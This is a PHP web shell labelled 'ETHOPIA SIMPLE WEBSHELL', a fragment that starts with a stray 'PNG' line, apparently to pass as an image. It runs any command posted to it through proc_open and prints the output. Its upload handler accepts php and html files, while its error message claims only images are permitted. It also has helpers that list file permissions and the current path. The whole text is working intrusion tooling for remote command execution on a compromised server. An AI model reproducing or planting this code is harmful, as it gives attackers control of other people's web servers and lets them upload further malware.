PNG
";
print implode("
", $output);
pwd();
print "";
}
function pwd() {
$dir = explode("/", path());
foreach($dir as $key => $index) {
print "$index/";
}
print "
";
}
function writeable($path, $perms) {
return (!is_writable($path)) ? color(1, 1, $perms) : color(1, 2, $perms);
}
function perms($path) {
$perms = fileperms($path);
if (($perms & 0xC000) == 0xC000) {
// Socket
$info = 's';
}
elseif (($perms & 0xA000) == 0xA000) {
// Symbolic Link
$info = 'l';
}
elseif (($perms & 0x8000) == 0x8000) {
// Regular
$info = '-';
}
elseif (($perms & 0x6000) == 0x6000) {
// Block special
$info = 'b';
}
elseif (($perms & 0x4000) == 0x4000) {
// Directory
$info = 'd';
}
elseif (($perms & 0x2000) == 0x2000) {
// Character special
$info = 'c';
}
elseif (($perms & 0x1000) == 0x1000) {
// FIFO pipe
$info = 'p';
}
else {
// Unknown
$info = 'u';
}
// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
function color($bold = 1, $colorid = null, $string = null) {
$color = array(
"", # 0 off
"", # 1 red
"", # 2 lime
"", # 3 white
"", # 4 gold
);
return ($string !== null) ? $color[$colorid].$string.$color[0]: $color[$colorid];
}
if (isset($_POST['upload'])) {
$errors = array();
// Validasi jenis file
$allowed_extensions = array("jpg", "jpeg", "png", "gif","php" ,"xml", "html", "txt");
$file_ext = strtolower(end(explode('.', $_FILES['file']['name'])));
if (!in_array($file_ext, $allowed_extensions)) {
$errors[] = "Hanya file gambar yang diizinkan (jpg, jpeg, png, gif).";
}
if (empty($errors)) {
if (@copy($_FILES['file']['tmp_name'], path() . DIRECTORY_SEPARATOR . $_FILES['file']['name'])) {
$act = color(1, 2, "Uploaded!") . " at " . path() . DIRECTORY_SEPARATOR . $_FILES['file']['name'] . "";
} else {
$act = color(1, 1, "Failed to upload file!");
}
} else {
$act = implode('
', $errors);
}
}
if (isset($_POST['submit'])) {
$cmd = $_POST['cmd'];
$dir = path();
$cmd_with_dir = "cd \"$dir\" && $cmd";
$descriptorspec = array(
0 => array("pipe", "r"), // stdin
1 => array("pipe", "w"), // stdout
2 => array("pipe", "w") // stderr
);
$process = proc_open($cmd_with_dir, $descriptorspec, $pipes);
if (is_resource($process)) {
$stdout = stream_get_contents($pipes[1]);
$stderr = stream_get_contents($pipes[2]);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
$output = empty($stderr) ? $stdout : "Error: $stderr";
} else {
$output = "Failed to execute command";
}
}
?>
ETHOPIA SIMPLE WEBSHELL
Terminal